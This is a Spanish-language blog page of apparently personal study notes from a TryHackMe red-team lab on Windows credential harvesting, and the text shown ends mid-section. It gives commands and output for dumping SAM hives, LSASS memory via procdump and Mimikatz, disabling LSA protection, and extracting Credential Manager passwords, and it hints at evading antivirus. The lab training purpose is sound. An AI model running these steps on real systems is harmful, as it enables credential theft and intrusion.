notes - b0ySie7e
GithubPortafolioWrite-ups
  • 👋Bienvenido a mi blog
  • Introducción a la ciberseguridad
    • 📓¿Como inicio en la ciberseguridad?
  • Teoria y Conceptos
    • 📓Redes
      • Identificación de Dispositivos
      • Local Area Network (LAN)
      • Sub redes
      • Procolo ARP
      • Protocolo DHCP
    • 📓Pentesting
      • OSSTMM
      • OWASP
      • NCSC CAF
  • Sistemas Operativos
    • Linux
      • Comandos
    • Windows
      • Comandos
  • Enumeración
    • Enumeracion de red
      • Enumeracion de Hosts
      • Enumeracion de Puertos y servicios
    • FootPrinting
      • Domain Information
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP-POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Enumeración web
      • Uso de google dorks
      • Whois
      • Dig
      • Enumeraciónde subdominios
      • Enumeración automatizada
  • Hacking Web
    • Ataques Comunes
      • Fuzzing
      • Sub dominios
      • SQL Injection
      • Cross-Site Scripting
      • Local File Inclusion
      • Remote File Inclusion
      • File Upload Attacks
      • Command Injections
    • Otras explotaciones
  • Escalada de Privilegios
    • 📕Linux
      • Enumeración automatizada - Tools
      • Kernel Exploit
      • Sudo
      • SUID
      • Capabilities
      • Cron Jobs
      • Path
      • NFS
    • 📕Windows
      • Enumeración automatizada - Tools
      • Harvesting Passwords from Usual Spots
      • Other Quick Wins
      • Abusing Service Misconfigurations
      • Abusing dangerous privileges
      • Abusing vulnerable software
  • Guias y Herramientas
    • Git
    • Buffer Over Flow
    • MetaSploit
      • Introducción
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Sessions
    • Nmap
    • Pivoting Tunneling Port Forwarning
      • Port Forwarding SSH
      • Pivoting Metasploit
      • Socat Redirection with a Reverse Shell
      • Socat Redirection with a Bind Shell
      • Others tools for pivoting
    • Transferencias de Archivos
      • Evading Detection
      • Linux File Transfer Methods
      • Miscellaneous File Transfer Methods
      • Transferring Files with Code
      • Windows File Transfer Methods
      • Otros
        • Usando ICMP
        • Usando ncat y tar
    • Shell y Payloads
      • Spawning shell interactiva
      • Conexión de RDP
    • Password Attacks
      • Cracking
      • Windows Local Password Attacks
      • Linux Local Password Attacks
      • Windows Lateral Movement
    • Fortinet
      • Configuración estática de Firewall
      • Licencia
      • Configuración de interfaces
      • Primera política
      • Rutas estaticas
  • Red Team Path - THM
    • Enumeración
      • Linux
      • Windows
    • Movimiento lateral
      • Movimiento Lateral
    • Pivoting
      • PortForwarining y pivoting
    • Host Evasion
      • Windows Internal
      • Introduccion a Windows
      • Abusing Windows Internal
      • Introducción a Antivirus
      • AV Evasion ShellCode
      • Principios de Ofuscación
      • Evasión de Firmas
      • Bypass UAC
      • Runtime Detection Evasion
      • Evading Logging and Monitoring
      • Living Off the Land
    • Networking Security Evasión
      • Network Security Solutions
      • Firewalls
      • Sandbox Evasion
    • Comprometiendo un directorio activo
      • Active Directory Basics
      • Breaching Active Directory
      • Enumerating Active Directory
      • Exploiting Active Directory
      • Persisting Active Directory
      • Credentials Harvesting
Con tecnología de GitBook
En esta página
  • Credentials Harvesting
  • Credential Access
  • Acceso a credenciales
  • Archivos de texto claro
  • Archivos de base de datos (Database Files)
  • Administradores de contraseñas (Password Managers)
  • Memory Dump (Volcado de memoria)
  • Directorio Activo
  • Rastreo de redes
  • Local Windows Credentials
  • Pulsaciones de teclas
  • Administrador de cuentas de seguridad (SAM)
  • HashDump de Metasploit
  • Servicio de instantáneas de volumen
  • Registry Hives
  • Local Security Authority Subsystem Service (LSASS).
  • ¿Qué es la LSASS?
  • Suite Sysinternals
  • MimiKatz
  • Protected LSASS
  • Windows Credential Manager
  • ¿Qué es el Administrador de credenciales?
  • Accediendo al Administrador de Credenciales
  • Credential Dumping
  • RunAs
  • Mimikatz
  • Domain Controller
  • NTDS Domain Controller
  • Ntdsutil
  • Local Dumping (No Credentials)
  • Remote Dumping (With Credentials)
  • DC Sync
  • Local Administrator Password Solution (LAPS)
  • Preferencias de política de grupo (GPP)
  • Solución de contraseña de administrador local (LAPS)
  • Enumerar para LAPS
  • Obtener la contraseña
  • Other Attacks
  • Kerberoasting
  • AS-REP Roasting
  • SMB Relay Attack
  • LLMNR/NBNS Poisoning
  • Conclusion
  1. Red Team Path - THM
  2. Comprometiendo un directorio activo

Credentials Harvesting

AnteriorPersisting Active Directory

Última actualización hace 10 meses

Credentials Harvesting

La recolección de credenciales es un término para obtener acceso a las credenciales del usuario y del sistema. Es una técnica para buscar o robar credenciales almacenadas, incluido el rastreo de redes, donde un atacante captura las credenciales transmitidas.

Las credenciales se pueden encontrar en una variedad de formas diferentes, tales como:

  • Detalles de cuentas (nombres de usuario y contraseñas)

  • Hashes que incluyen hashes NTLM, etc.

  • Tickets de autenticación: Tickets de concesión de tickets (TGT), Servidor de concesión de tickets (TGS)

  • Cualquier información que ayude a iniciar sesión en un sistema (claves privadas, etc.)

En términos generales, existen dos tipos de recolección de credenciales: externa e interna. La recolección de credenciales externas probablemente implica correos electrónicos de phishing y otras técnicas para engañar a un usuario para que ingrese su nombre de usuario y contraseña. Si desea obtener más información sobre los correos electrónicos de phishing, le sugerimos que pruebe la sala de THM . La obtención de credenciales a través de la red interna utiliza diferentes enfoques.

Credential Access

Acceso a credenciales

El acceso a las credenciales es donde los adversarios pueden encontrar credenciales en sistemas comprometidos y obtener acceso a las credenciales de los usuarios. Ayuda a los adversarios a reutilizarlos o suplantar la identidad de un usuario. Este es un paso importante para el movimiento lateral y el acceso a otros recursos, como otras aplicaciones o sistemas. Se prefiere obtener credenciales de usuario legítimas en lugar de explotar sistemas que utilizan CVE.

Para obtener más información, puede visitar el marco MITRE ATT&CK ( ).

Las credenciales se almacenan de forma insegura en varias ubicaciones de los sistemas:

  • Archivos de texto claro

  • Archivos de base de datos

  • Memoria

  • Administradores de contraseñas

  • Bóvedas empresariales

  • Directorio Activo

  • Rastreo de redes

¡Discutámoslos un poco más!

Archivos de texto claro

Los siguientes son algunos de los tipos de archivos de texto sin cifrar que pueden interesarle a un atacante:

  • Historial de comandos

  • Archivos de configuración (aplicación web, archivos FTP, etc.)

  • Otros archivos relacionados con aplicaciones de Windows (navegadores de Internet, clientes de correo electrónico, etc.)

  • Archivos de respaldo

  • Archivos y carpetas compartidos

  • Registro

  • Código fuente

Como ejemplo de un comando de historial, PowerShell guarda los comandos de PowerShell ejecutados en un archivo de historial en un perfil de usuario en la siguiente ruta: C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Puede que valga la pena comprobar en qué están trabajando los usuarios o encontrar información confidencial. Otro ejemplo sería encontrar información interesante. Por ejemplo, el siguiente comando busca la palabra clave "contraseña" en el registro de Windows.

Buscando la palabra clave "contraseña" en el Registro

c:\Users\user> reg query HKLM /f password /t REG_SZ /s
#OR
C:\Users\user> reg query HKCU /f password /t REG_SZ /s

Archivos de base de datos (Database Files)

Administradores de contraseñas (Password Managers)

Un administrador de contraseñas es una aplicación para almacenar y administrar la información de inicio de sesión de los usuarios para sitios web y servicios locales y de Internet. Dado que se trata de datos de los usuarios, deben almacenarse de forma segura para evitar el acceso no autorizado.

Ejemplos de aplicaciones de Administrador de contraseñas:

  • Administradores de contraseñas integrados (Windows)

  • Terceros: KeePass, 1Password, LastPass

Sin embargo, en estas aplicaciones se encuentran fallas de configuración y seguridad que permiten a los adversarios acceder a los datos almacenados. Se podrían utilizar varias herramientas durante la etapa de enumeración para obtener datos confidenciales en las aplicaciones de administración de contraseñas utilizadas por los navegadores de Internet y las aplicaciones de escritorio.

Esta sala discutirá cómo acceder al administrador de credenciales de Windows y extraer contraseñas.

Memory Dump (Volcado de memoria)

La memoria del sistema operativo es una rica fuente de información confidencial que pertenece al sistema operativo Windows, a los usuarios y a otras aplicaciones. Los datos se cargan en la memoria en tiempo de ejecución o durante la ejecución. Por tanto, el acceso a la memoria está limitado a los usuarios administradores que controlan totalmente el sistema.

Los siguientes son ejemplos de datos confidenciales almacenados en memoria, que incluyen:

  • Credenciales en texto claro

  • Contraseñas almacenadas en caché

  • Entradas AD

En esta sala, discutiremos cómo obtener acceso a la memoria y extraer contraseñas de texto sin cifrar y tickets de autenticación.

Directorio Activo

Active Directory almacena mucha información relacionada con usuarios, grupos, computadoras, etc. Por lo tanto, enumerar el entorno de Active Directory es uno de los focos de las evaluaciones del equipo rojo. Active Directory tiene un diseño sólido, pero la mala configuración realizada por los administradores lo hace vulnerable a varios ataques que se muestran en esta sala.

Las siguientes son algunas de las configuraciones erróneas de Active Directory que pueden filtrar las credenciales de los usuarios .

  • Users' description : los administradores establecen una contraseña en la descripción para los nuevos empleados y la dejan allí, lo que hace que la cuenta sea vulnerable al acceso no autorizado.

  • Group Policy SYSVOL : las claves de cifrado filtradas permiten a los atacantes acceder a cuentas de administrador. Consulte la Tarea 8 para obtener más información sobre la versión vulnerable de SYSVOL.

  • NTDS: contiene las credenciales de los usuarios de AD, lo que lo convierte en un objetivo para los atacantes.

  • AD Attacks la mala configuración hace que AD sea vulnerable a varios ataques, que discutiremos en la Tarea 9.

Rastreo de redes

Obtener acceso inicial a una red objetivo permite a los atacantes realizar varios ataques de red contra computadoras locales, incluido el entorno AD. El ataque Man-In-the-Middle contra protocolos de red permite al atacante crear recursos confiables falsos o falsificados dentro de la red para robar información de autenticación, como hashes NTLM.

Local Windows Credentials

En general, el sistema operativo Windows proporciona dos tipos de cuentas de usuario: local y de dominio. Los detalles de los usuarios locales se almacenan localmente dentro del sistema de archivos de Windows, mientras que los detalles de los usuarios del dominio se almacenan en el Active Directory centralizado. Esta tarea analiza las credenciales para cuentas de usuarios locales y demuestra cómo se pueden obtener.

Pulsaciones de teclas

Keylogger es un dispositivo de software o hardware para monitorear y registrar las actividades de escritura del teclado. Los keyloggers se diseñaron inicialmente con fines legítimos, como comentarios para el desarrollo de software o control parental. Sin embargo, pueden utilizarse indebidamente para robar datos. Como miembro del equipo rojo, buscar credenciales a través de registradores de pulsaciones de teclas en un entorno interactivo y ajetreado es una buena opción. Si sabemos que un objetivo comprometido tiene un usuario que ha iniciado sesión, podemos realizar un registro de teclas utilizando herramientas como el marco Metasploit u otras.

Administrador de cuentas de seguridad (SAM)

SAM es una base de datos de Microsoft Windows que contiene información de cuentas locales, como nombres de usuario y contraseñas. La base de datos SAM almacena estos detalles en un formato cifrado para que sea más difícil recuperarlos. Además, ningún usuario puede leerlo ni acceder a él mientras se ejecuta el sistema operativo Windows. Sin embargo, existen varias formas y ataques para volcar el contenido de la base de datos SAM.

Primero, asegúrese de haber implementado la máquina virtual proporcionada y luego confirme que no podemos copiar ni leer el c:\Windows\System32\config\sam archivo:

Confirmar que no hay acceso a la base de datos SAM

C:\Windows\system32>type c:\Windows\System32\config\sam
type c:\Windows\System32\config\sam
The process cannot access the file because it is being used by another process.

C:\Windows\System32> copy c:\Windows\System32\config\sam C:\Users\Administrator\Desktop\ 
copy c:\Windows\System32\config\sam C:\Users\Administrator\Desktop\
The process cannot access the file because it is being used by another process.
        0 file(s) copied.

HashDump de Metasploit

Volviendo el contenido de la base de datos SAM

meterpreter > getuid
Server username: THM\Administrator
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3b784d80d18385cea5ab3aa2a4261:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ec44ddf5ae100b898e9edab74811430d:::
CREDS-HARVESTIN$:1008:aad3b435b51404eeaad3b435b51404ee:443e64439a4b7fe780db47fc06a3342d:::

Servicio de instantáneas de volumen

Más específicamente, usaremos wmic para crear una instantánea de volumen. Esto debe hacerse a través del símbolo del sistema con privilegios de administrador de la siguiente manera:

  1. Ejecute el mensaje estándar cmd.exe con privilegios de administrador.

  2. Ejecute el comando wmic para crear una copia sombra de la unidad C:

  3. Verifique que la creación del paso 2 esté disponible.

  4. Copie la base de datos SAM del volumen que creamos en el paso 2

Ahora apliquemos lo que comentamos anteriormente y ejecutemos cmd.exe con privilegios de administrador. Luego ejecute el siguiente comando wmic:

Creación de una instantánea del volumen C con WMIC

C:\Users\Administrator>wmic shadowcopy call create Volume='C:\'
Executing (Win32_ShadowCopy)->create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ReturnValue = 0;
        ShadowID = "{D8A11619-474F-40AE-A5A0-C2FAA1D78B85}";
};

Una vez que el comando se ejecute correctamente, usemos la vssadminherramienta de línea de comandos administrativa del Servicio de instantáneas de volumen para enumerar y confirmar que tenemos una instantánea del C:volumen.

Listado de los volúmenes de sombra disponibles

C:\Users\Administrator>vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Contents of shadow copy set ID: {0c404084-8ace-4cb8-a7ed-7d7ec659bb5f}
   Contained 1 shadow copies at creation time: 5/31/2022 1:45:05 PM
      Shadow Copy ID: {d8a11619-474f-40ae-a5a0-c2faa1d78b85}
         Original Volume: (C:)\\?\Volume{19127295-0000-0000-0000-100000000000}\
         Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
         Originating Machine: Creds-Harvesting-AD.thm.red
         Service Machine: Creds-Harvesting-AD.thm.red
         Provider: 'Microsoft Software Shadow Copy provider 1.0'
         Type: ClientAccessible
         Attributes: Persistent, Client-accessible, No auto release, No writers, Differential

El resultado muestra que hemos creado con éxito un volumen de instantáneas de (C:) con la siguiente ruta: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1.

Ahora copiemos ambos archivos (sam y system) del volumen de instantáneas que generamos al escritorio de la siguiente manera:

Copiar el archivo SAM y SYSTEM del volumen Shadow

C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
        1 file(s) copied.

C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system
        1 file(s) copied.

Ahora tenemos los dos archivos necesarios, transfiéralos a AttackBox con tu método favorito (SCP debería funcionar).

Registry Hives

Otro método posible para volcar el contenido de la base de datos SAM es a través del Registro de Windows. El registro de Windows también almacena una copia de algunos contenidos de la base de datos SAM para que los utilicen los servicios de Windows. Por suerte, podemos guardar el valor del registro de Windows utilizando la herramienta reg.exe. Como se mencionó anteriormente, necesitamos dos archivos para descifrar el contenido de la base de datos SAM. Asegúrese de ejecutar el símbolo del sistema con privilegios de administrador.

Guarde los archivos SAM y SYSTEM del registro

C:\Users\Administrator\Desktop>reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg
The operation completed successfully.

C:\Users\Administrator\Desktop>reg save HKLM\system C:\users\Administrator\Desktop\system-reg
The operation completed successfully.

C:\Users\Administrator\Desktop>

Esta vez vamos a descifrarlo usando una de las herramientas Impacket: secretsdump.py, que ya está instalada en AttackBox. El script Impacket SecretsDump extrae credenciales de un sistema de forma local y remota utilizando diferentes técnicas.

Mueva los archivos SAM y del sistema a AttackBox y ejecute el siguiente comando:

Descifrando la base de datos SAM usando el script Impacket SecretsDump localmente

user@machine:~# python3.9 /opt/impacket/examples/secretsdump.py -sam /tmp/sam-reg -system /tmp/system-reg LOCAL
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3a787a80d08385cea7fb4aa2a4261:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...

Tenga en cuenta que utilizamos los archivos SAM y del sistema que extrajimos del Registro de Windows. El -samargumento es especificar la ruta del archivo sam volcado desde la máquina con Windows. El -systemargumento es para una ruta para el archivo del sistema. Usamos el LOCALargumento al final del comando para descifrar el archivo SAM local ya que esta herramienta maneja otros tipos de descifrado.

Tenga en cuenta que si comparamos el resultado con los hashes NTLM que obtuvimos del Hashdump de Metasploit, el resultado es diferente. El motivo es que las otras cuentas pertenecen a Active Directory y su información no se almacena en el archivo del sistema que hemos volcado. Para descifrarlos, necesitamos volcar el archivo de SEGURIDAD del archivo de Windows, que contiene los archivos necesarios para descifrar las cuentas de Active Directory.

Una vez que obtenemos los hashes NTLM, podemos intentar descifrarlos usando Hashcat si son adivinables, o podemos usar diferentes técnicas para suplantar a los usuarios que usan los hashes.

Local Security Authority Subsystem Service (LSASS).

¿Qué es la LSASS?

El Servicio de servidor de autoridad de seguridad local (LSASS) es un proceso de Windows que maneja la política de seguridad del sistema operativo y la aplica en un sistema. Verifica las cuentas iniciadas y garantiza contraseñas, hashes y tickets de Kerberos. El sistema Windows almacena credenciales en el proceso LSASS para permitir a los usuarios acceder a recursos de red, como archivos compartidos, sitios de SharePoint y otros servicios de red, sin ingresar credenciales cada vez que un usuario se conecta.

Interfaz gráfica de usuario (GUI)

Para volcar cualquier proceso de Windows en ejecución mediante la GUI, abra el Administrador de tareas y, en la pestaña Detalles, busque el proceso requerido, haga clic derecho sobre él y seleccione "Crear archivo de volcado".

Una vez finalizado el proceso de volcado, aparecerá un mensaje emergente que contiene la ruta del archivo volcado. Ahora copie el archivo y transfiéralo a AttackBox para extraer hashes NTLM sin conexión.

Nota: si intentamos esto en la máquina virtual proporcionada, debería obtener un error la primera vez que lo ejecute, hasta que corrijamos el valor del registro en la sección LSASS protegido más adelante en esta tarea.

Copie el proceso volcado a la carpeta Mimikatz.

Copiar el archivo volcado de LSASS

C:\Users\Administrator>copy C:\Users\ADMINI~1\AppData\Local\Temp\2\lsass.DMP C:\Tools\Mimikatz\lsass.DMP
        1 file(s) copied.

Suite Sysinternals

Una forma alternativa de volcar un proceso si no disponemos de una GUI es mediante ProcDump. ProcDump es una utilidad de volcado de procesos de Sysinternals que se ejecuta desde el símbolo del sistema. SysInternals Suite ya está instalado en la máquina proporcionada en la siguiente ruta:c:\Tools\SysinternalsSuite

Podemos especificar un proceso en ejecución, que en nuestro caso es lsass.exe, para volcarlo de la siguiente manera:

_Volviendo el proceso LSASS usando procdump.exe _

c:\>c:\Tools\SysinternalsSuite\procdump.exe -accepteula -ma lsass.exe c:\Tools\Mimikatz\lsass_dump

ProcDump v10.0 - Sysinternals process dump utility
Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[09:09:33] Dump 1 initiated: c:\Tools\Mimikatz\lsass_dump-1.dmp
[09:09:33] Dump 1 writing: Estimated dump file size is 162 MB.
[09:09:34] Dump 1 complete: 163 MB written in 0.4 seconds
[09:09:34] Dump count reached.

Tenga en cuenta que el proceso de volcado se escribe en el disco. Deshacerse del proceso LSASS es una técnica conocida utilizada por los adversarios. Por lo tanto, los productos antivirus pueden marcarlo como malicioso. En el mundo real, puede ser más creativo y escribir código para cifrar o implementar un método para evitar los productos AV.

MimiKatz

Usaremos la Mimikatz herramienta para extraer el volcado de memoria del proceso lsass.exe. Le hemos proporcionado las herramientas necesarias y puede encontrarlas en : c:\Tools\Mimikatz.

Recuerde que el proceso LSASS se ejecuta como un SISTEMA. Por lo tanto, para acceder a los hashes de los usuarios, necesitamos permisos de administrador local o del sistema. Por lo tanto, abra el símbolo del sistema y ejecútelo como administrador. Luego, ejecute el binario mimikatz de la siguiente manera:

Ejecutar mimikatz con privilegios de administrador

C:\Tools\Mimikatz> mimikatz.exe

  .####.   mimikatz 2.2.0 (x64) #18362 Jul 10 2019 23:09:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # 

Antes de descargar la memoria para credenciales y hashes cobrados, debemos habilitar SeDebugPrivilege y verificar los permisos actuales para el acceso a la memoria. Se puede hacer ejecutando el comando de la siguiente manera, privilege::debug

_Comprobación del permiso actual para acceder a la memoria _

mimikatz # privilege::debug
Privilege '20' OK

Una vez que se otorgan los privilegios, podemos acceder a la memoria para volcar todas las contraseñas y hashes almacenados en caché del lsass.exeproceso usando sekurlsa::logonpasswords. Si intentamos esto en la VM proporcionada, no funcionará hasta que lo solucionemos en la siguiente sección.

Deshacerse de las contraseñas de texto sin cifrar almacenadas

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 515377 (00000000:0007dd31)
Session           : RemoteInteractive from 3
User Name         : Administrator
Domain            : THM
Logon Server      : CREDS-HARVESTIN
Logon Time        : 6/3/2022 8:30:44 AM
SID               : S-1-5-21-1966530601-3185510712-10604624-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : THM
         * NTLM     : 98d3a787a80d08385cea7fb4aa2a4261
         * SHA1     : 64a137cb8178b7700e6cffa387f4240043192e72
         * DPAPI    : bc355c6ce366fdd4fd91b54260f9cf70
...

Mimikatz enumera mucha información sobre cuentas y máquinas. Si revisamos detenidamente en la sección Principal para usuarios administradores, podemos ver que tenemos un hash NTLM.

Tenga en cuenta que para obtener los hashes de los usuarios, un usuario (víctima) debe haber iniciado sesión en un sistema y sus credenciales deben haberse almacenado en caché.

Protected LSASS

En 2012, Microsoft implementó una protección LSA para evitar que se acceda a LSASS para extraer credenciales de la memoria. Esta tarea mostrará cómo deshabilitar la protección LSA y volcar las credenciales de la memoria usando Mimikatz. Para habilitar la protección LSASS, podemos modificar el valor DWORD RunAsPPL del registro a HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 1.

Los pasos son similares a los de la sección anterior, que ejecuta el archivo de ejecución de Mimikatz con privilegios de administrador y habilita el modo de depuración. Si la protección LSA está habilitada, obtendremos un error al ejecutar el comando "sekurlsa::logonpasswords".

No poder volcar la contraseña almacenada debido a la protección LSA

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

El comando devuelve un mensaje de código de error 0x00000005 (Acceso denegado). Por suerte para nosotros, Mimikatz proporciona un controlador mimidrv.sys que funciona a nivel de kernel para desactivar la protección LSA. Podemos importarlo a Mimikatz ejecutando "!+" de la siguiente manera,

Cargando el controlador mimidrv en la memoria

mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started

Nota: Si esto falla y genera un isFileExisterror, salga de mimikatz, navegue C:\Tools\Mimikatz\y ejecute el comando nuevamente.

Una vez cargado el controlador, podemos desactivar la protección LSA ejecutando el siguiente comando Mimikatz:

Eliminación de la protección LSA

mimikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 528 -> 00/00 [0-0-0]

Ahora, si intentamos ejecutar el comando "sekurlsa::logonpasswords" nuevamente, debe ejecutarse exitosamente y mostrar las credenciales almacenadas en caché en la memoria.

Windows Credential Manager

Esta tarea presenta el Administrador de credenciales de Windows y analiza la técnica utilizada para deshacerse de las credenciales del sistema aprovechándolo.

¿Qué es el Administrador de credenciales?

Credential Manager es una característica de Windows que almacena información confidencial de inicio de sesión para sitios web, aplicaciones y redes. Contiene credenciales de inicio de sesión, como nombres de usuario, contraseñas y direcciones de Internet. Hay cuatro categorías de credenciales:

  • Las credenciales web contienen detalles de autenticación almacenados en navegadores de Internet u otras aplicaciones.

  • Las credenciales de Windows contienen detalles de autenticación de Windows, como NTLM o Kerberos.

  • Las credenciales genéricas contienen detalles de autenticación básicos, como nombres de usuario y contraseñas en texto claro.

  • Credenciales basadas en certificados: detalles de búsqueda basados ​​en certificaciones.

Tenga en cuenta que los detalles de autenticación se almacenan en la carpeta del usuario y no se comparten entre las cuentas de usuario de Windows. Sin embargo, están almacenados en caché en la memoria.

Accediendo al Administrador de Credenciales

Podemos acceder al Administrador de credenciales de Windows a través de la GUI (Panel de control -> Cuentas de usuario -> Administrador de credenciales) o el símbolo del sistema. En esta tarea, la atención se centrará más en el escenario del símbolo del sistema donde la GUI no está disponible.

Usaremos la vaultcmdutilidad Microsoft Credentials Manager. Comencemos a enumerar si hay credenciales almacenadas. Primero, enumeramos las bóvedas de Windows actuales disponibles en el destino de Windows.

Listado de las credenciales disponibles en el Administrador de credenciales

C:\Users\Administrator>vaultcmd /list
Currently loaded vaults:
        Vault: Web Credentials
        Vault Guid:4BF4C442-9B8A-41A0-B380-DD4A704DDB28
        Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

        Vault: Windows Credentials
        Vault Guid:77BC582B-F0A6-4E15-4E80-61736B6F3B29
        Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault

De forma predeterminada, Windows tiene dos bóvedas, una para la Web y otra para las credenciales de la máquina Windows. El resultado anterior confirma que tenemos las dos bóvedas predeterminadas.

Comprobemos si hay credenciales almacenadas en la bóveda de Credenciales web ejecutando el comando vaultcmd con /listproperties.

Comprobar si hay credenciales almacenadas en "Credenciales web".

C:\Users\Administrator>VaultCmd /listproperties:"Web Credentials"
Vault Properties: Web Credentials
Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Number of credentials: 1
Current protection method: DPAPI

El resultado muestra que tenemos una credencial almacenada en la bóveda especificada. Ahora intentemos enumerar más información sobre la credencial almacenada de la siguiente manera:

Listado de detalles de credenciales para "Credenciales web"

C:\Users\Administrator>VaultCmd /listcreds:"Web Credentials"
Credentials in vault: Web Credentials

Credential schema: Windows Web Password Credential
Resource: internal-app.thm.red
Identity: THMUser Saved By: MSEdge
Hidden: No
Roaming: Yes

Credential Dumping

Asegúrese de ejecutar PowerShell con la política de omisión para importarlo como un módulo de la siguiente manera:

Obtener una contraseña de texto limpio a partir de credenciales web

C:\Users\Administrator>powershell -ex bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator> Import-Module C:\Tools\Get-WebCredentials.ps1
PS C:\Users\Administrator> Get-WebCredentials

UserName  Resource             Password     Properties
--------  --------             --------     ----------
THMUser internal-app.thm.red Password! {[hidden, False], [applicationid, 00000000-0000-0000-0000-000000000000], [application, MSEdge]}

El resultado muestra que obtuvimos el nombre de usuario y la contraseña para acceder a la aplicación interna.

RunAs

Un método alternativo para aprovechar las credenciales almacenadas es utilizar RunAs. RunAs es una herramienta integrada de línea de comandos que permite ejecutar aplicaciones o herramientas de Windows con los permisos de diferentes usuarios. La herramienta RunAs tiene varios argumentos de comando que podrían usarse en el sistema Windows. El /savecredargumento le permite guardar las credenciales del usuario en el Administrador de credenciales de Windows (en la sección Credenciales de Windows). Entonces, la próxima vez que ejecutemos como el mismo usuario, runas no solicitará una contraseña.

Apliquémoslo a la máquina Windows adjunta. Otra forma de enumerar las credenciales almacenadas es mediante cmdkey, que es una herramienta para crear, eliminar y mostrar las credenciales almacenadas de Windows. Al proporcionar el /listargumento, podemos mostrar todas las credenciales almacenadas o podemos especificar la credencial para mostrar más detalles /list:computername.

Enumeración de credenciales de Windows almacenadas

C:\Users\thm>cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=thm\thm-local
    Type: Domain Password
    User: thm\thm-local

El resultado muestra que tenemos una contraseña de dominio almacenada como thm\thm-localusuario. Tenga en cuenta que las credenciales almacenadas también podrían ser para otros servidores. Ahora usemos runas para ejecutar aplicaciones de Windows como thm-localusuario.

Ejecute CMD.exe como usuario con el argumento /savecred

C:\Users\thm>runas /savecred /user:THM.red\thm-local cmd.exe
Attempting to start cmd.exe as user "THM.red\thm-local" ...

Aparece un nuevo cmd.exe con un símbolo del sistema listo para usar. Ahora ejecute el comando whoami para confirmar que estamos ejecutando con el usuario deseado. Hay una bandera en el c:\Users\thm-local\Saved Games\flag.txt, intenta leerla y responde la siguiente pregunta.

Mimikatz

Mimikatz es una herramienta que puede volcar desde la memoria contraseñas de texto sin cifrar almacenadas en el Administrador de credenciales. Los pasos son similares a los mostrados en la sección anterior (Volcado de memoria), pero podemos especificar que se muestre la sección del administrador de credenciales solo esta vez.

dumping de memoria para el administrador de credenciales

C:\Users\Administrator>c:\Tools\Mimikatz\mimikatz.exe

  .####.   mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::credman

Aplique esta técnica a la máquina adjunta y responda la siguiente pregunta.

Las técnicas analizadas en esta tarea también se pueden realizar a través de otras herramientas como Empire, Metasploit, etc. Puedes realizar tu propia investigación para ampliar tus conocimientos.

Domain Controller

Esta tarea analiza los pasos necesarios para volcar los hashes del controlador de dominio de forma local y remota.

NTDS Domain Controller

New Technologies Directory Services (NTDS) es una base de datos que contiene todos los datos de Active Directory, incluidos objetos, atributos, credenciales, etc. Los datos NTDS.DTS constan de tres tablas, como se muestra a continuación:

  • Tabla de esquemas: contiene tipos de objetos y sus relaciones.

